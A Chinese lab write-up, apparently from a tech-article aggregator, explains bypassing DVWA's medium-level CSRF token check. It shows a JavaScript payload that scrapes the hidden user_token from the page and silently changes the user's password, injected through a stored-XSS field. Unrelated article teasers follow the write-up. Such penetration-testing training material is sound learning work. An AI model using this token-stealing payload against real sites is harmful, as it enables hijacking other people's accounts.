CSRF高级防御绕过

1)回顾low级别做过csrf页面的密码重置,重复之前的操作,我们发现级别调整中级之后,报错如下

image-20240730165044439

2)检查源码

image-20240730165028316

进入dvwa源码,查找到checktoken:

image-20240730165303561

3)在dvwa-csrf页面上,抓包

http://192.168.190.133/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token=37c60bfd2e65393503743034bb6b3f8f#

image-20240730165710379

4)发现参数中有user_token,所以就去查看页面元素,发现了一个隐藏的input

image-20240730165649417

  1. 不停地访问并且抓包,追溯token生成的过程
  • session_token == csrf的响应结果
  • user_token == payload
  • 如果你要绕过,你的change请求就需要携带有效的token

image-20240730171050664

image-20240730171531384

6)设计绕过

let tokenURL = "http://192.168.190.133/DVWA/vulnerabilities/csrf/"
var count = 0;
xmlHttp = new XMLHttpRequest()xmlHttp.onreadystatechange = function(){if(xmlHttp.readyState == 4 && xmlHttp.status == 200){// 取得请求的响应,并从响应中通过正则提取Tokenvar res = xmlHttp.responseText;// <input type='hidden' name='user_token' value='cda6d797b42a685a1ec034a52a578956' />var reg_obj = new RegExp("<input type='hidden' name='user_token' value='(.+?)' />") var match = reg_obj.exec(res)[1]; alert(match);// var regex = /user_token\' value\=\'(.*?)\' \/\>/;   // var match = text.match(regex);var token = match;var changeUrl = 'http://192.168.190.133/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=999&password_conf=999&Change=Change';if (count == 0) {count = 1;   // 只发送一次,否则会多次发送xmlHttp.open("GET",changeUrl,false);   // false 代表同步方式发送xmlHttp.send();}}
}xmlHttp.open("GET",tokenURL, false);
xmlHttp.send();
  1. 通过xss-store注入js脚本

8)登录后,访问xss-store,触发js

image-20240730175833763

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148584.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

前端开发者有福啦,循序渐进Vue.js 3.x前端开发实践已上线

目录 写在前面 推荐图书 推荐理由 写在最后 写在前面 好书推荐&#xff01;前端开发者的福利来喽&#xff0c;《循序渐进Vue.js 3.x前端开发实践》&#xff0c;你值得拥有。 推荐图书 《循序渐进Vue.js 3.x前端开发实践》 推荐理由 《循序渐进Vue.js 3.x前端开发实践》…

介绍GPT-o1:一系列解决困难问题( science, coding, and math )的推理模型

openai o1介绍 一、官方技术报告要点剖析实验1 benchmark分析实验2:和phd比赛技术细节&#xff1a;Chain of Thought的使用人类偏好评估Human preference evaluationsatety技术细节&#xff1a;隐藏思维链为监控模型提供了机会:)openai的几点conclusion 二、官方介绍剖析 Intro…

【C语言进阶】第四节:自定义类型详解

1、结构体 1.1 结构体变量的定义和初始化 struct Point//类型声明 {int x;int y; }p1;//声明类型的同时定义变量p1struct Point p2;//定义结构体变量p2//初始化&#xff1a;定义变量的同时赋初值。 struct Point p3 { x, y };struct Node {int data;struct Point p;struct N…

端侧 AI 的新突破:面壁智能 MiniCPM 3.0

在人工智能领域&#xff0c;每一次技术的革新都可能引发一场小小的革命。 ChatGPT-3.5 曾经凭借其惊人的表现赢得了大众的关注&#xff0c;但如今&#xff0c;随着国内AI公司面壁智能推出的新端侧基座模型&#xff0c;人们开始重新审视端侧AI的潜力和未来。 这款名为MiniCPM …

Dockerfile全面指南:从基础到进阶,掌握容器化构建的核心工具

目录 Dockerfile全面指南&#xff1a;从基础到进阶&#xff0c;掌握容器化构建的核心工具 引言 一、什么是 Dockerfile 二、Dockerfile 的基本结构 三、Dockerfile 的常见配置项 1、多阶段构建 (Multi-stage Builds) 2、缓存优化 3、合并 RUN 命令 四、Dockerfile 使用…

C盘太臃肿了用这招一键给C盘瘦身 快速释放C盘空间

C盘太臃肿了用这招一键给C盘瘦身 快速释放C盘空间。我们的电脑不知不觉的就爆满了&#xff0c;这个主要的原因就是各种垃圾文件堆积&#xff0c;时间用得越久&#xff0c;垃圾堆积得越多&#xff0c;这样我们的C盘空间就被蚕食了&#xff0c;空间越来越小&#xff0c;变得越来越…

干货分享:为什么stable diffusion训练用ddpm, 采样用ddim呢?

前言 回忆一下DDPM&#xff0c;实质上它的推导过程应是如下的&#xff1a; 其中&#xff0c; 是单纯的高斯分布的推导&#xff0c;相当于一个序列过程的归纳法推导。 在DDPM中采用的是[贝叶斯公式]。 而过程则是用对进行一个估测&#xff0c;也就是用前向过程反过来对进行一个…

sql语法学习:关键点和详细解释

学习SQL语法是掌握数据库操作的基础。以下是SQL语法的一些关键点和详细解释&#xff1a; 1. SQL基础 SQL&#xff08;Structured Query Language&#xff09;是一种用于管理和操作关系型数据库的标准语言。它主要包括以下几个部分&#xff1a; 数据定义语言&#xff08;DDL&…

探索Mem0:AI的智能记忆层

文章目录 探索Mem0&#xff1a;AI的智能记忆层背景介绍Mem0是什么&#xff1f;如何安装Mem0&#xff1f;简单使用方法应用场景常见问题及解决方案总结 ![ 探索Mem0&#xff1a;AI的智能记忆层 背景介绍 在人工智能的世界里&#xff0c;记忆是个性化体验的关键。想象一下&…

结构设计模式 -装饰器设计模式 - JAVA

装饰器设计模式 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新。 作者&#xff1a;神的孩子都在歌唱 一. 介绍 百度百科&#xff1a;装饰模式指的是在不必改变原类文件和使用继承的情况下&#xff0c;动态地扩展一个对…

只需5分钟!掌握学术写作的核心逻辑!

人工智能的广泛应用中&#xff0c;ChatGPT 已被证明是一种极具潜力的语言模型&#xff0c;其功能涵盖多个领域&#xff0c;显示出强大的适应性。在 GPT-4 架构的推动下&#xff0c;ChatGPT 正在彻底改变我们与文本驱动的人工智能的交互模式。 在学术界&#xff0c;学术写作至关…

【测试】——Selenium API (万字详解)

&#x1f4d6; 前言&#xff1a;本文详细介绍了如何利用Selenium进行Web自动化测试&#xff0c;包括定位元素&#xff08;如cssSelector和xpath&#xff09;、常用操作函数&#xff08;如点击、输入等&#xff09;、窗口管理、键盘鼠标事件和浏览器导航&#xff0c;以及处理弹窗…

实用小工具——多标签页插件Office Tab介绍

Office Tab引入选项卡式用户界面&#xff0c;增强了Microsoft Office使用体验。软件界面&#xff0c;可以设置你喜欢的标签类型。 安装后office界面会新增一个办公标签栏&#xff0c;立面有各功能说明。 最常用的是这个标签切换功能。 安装也很简单&#xff0c;选择对应位数安装…

知识产权实缴出资是否合法

知识产权实缴出资是否合法 近年来&#xff0c;随着知识产权在企业价值中的重要性日益凸显&#xff0c;知识产权实缴出资作为一种新兴的出资方式&#xff0c;逐渐受到社会各界的关注。然而&#xff0c;关于知识产权实缴出资是否合法的问题&#xff0c;一直是企业和投资者关注的焦…

vulnhub(13):LordOfTheRoot(sql时间盲注、mysql udf提权)

端口 nmap主机发现 nmap -sn 192.168.72.0/24 ​ Nmap scan report for 192.168.72.170 Host is up (0.00020s latency). ​ 170是新出现的机器&#xff0c;他就是靶机 nmap端口扫描 nmap -Pn 192.168.72.170 -p- --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/sca…

Sony IMX334LQR-C 1/1.8寸 8.42 M像素

索尼IMX334LQR宽动态超星光级交通监测CMOS 封装&#xff1a;LGA 对⾓线&#xff1a;8.86 mm&#xff08;类型1/1.8&#xff09; 索尼IMX334LQR宽动态超星光级交通监测CMOS的参数及规格书资料&#xff1a; IMX334LQR-C是⼀个对⾓线8.86 mm&#xff08;类型1/1.8&#xff09;的…

帕金森病:这五大幕后推手,你了解多少?

在快节奏的现代生活中&#xff0c;健康问题日益受到公众的关注&#xff0c;而帕金森病作为一种常见的神经系统退行性疾病&#xff0c;更是牵动着无数家庭的心弦。今天&#xff0c;就让我们一起揭开帕金森病的神秘面纱&#xff0c;探讨其背后的五大主要原因&#xff0c;让更多人…

离散化c++

应用于数字取值范围很大&#xff0c;但数字个数很少的情况&#xff0c;原理是将要用到的数字放到一个连续的数组中&#xff0c;通过一个函数find得到数字和存放在数组中的下标的映射关系。 其中find函数的实现可以通过二分查找来实现&#xff1b; 练习题&#xff1a; 题意&…

Python 类型提示全解析:从入门到精通的必备技巧(如何让Python代码更清晰、错误更少)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 文章内容 📒📝 什么是类型提示?📝 类型提示的基本用法📝 高级用法📝 类型提示的工具和技巧📝 注意事项和最佳实践⚓️ 相关链接 ⚓️📖 介绍 📖 在编程的世界里,代码的清晰和可维护性是成功的关键。尤其是在 …

C++——关联式容器(5):哈希表

7.哈希表 7.1 哈希表引入 哈希表的出现依旧是为了查找方便而设计的。在顺序结构中&#xff0c;查询一个值需要一一比较&#xff0c;复杂度为O(N)&#xff1b;在平衡树中&#xff0c;查询变为了二分查找&#xff0c;复杂度为O(logN)&#xff1b;而对于哈希表&#xff0c;我们可…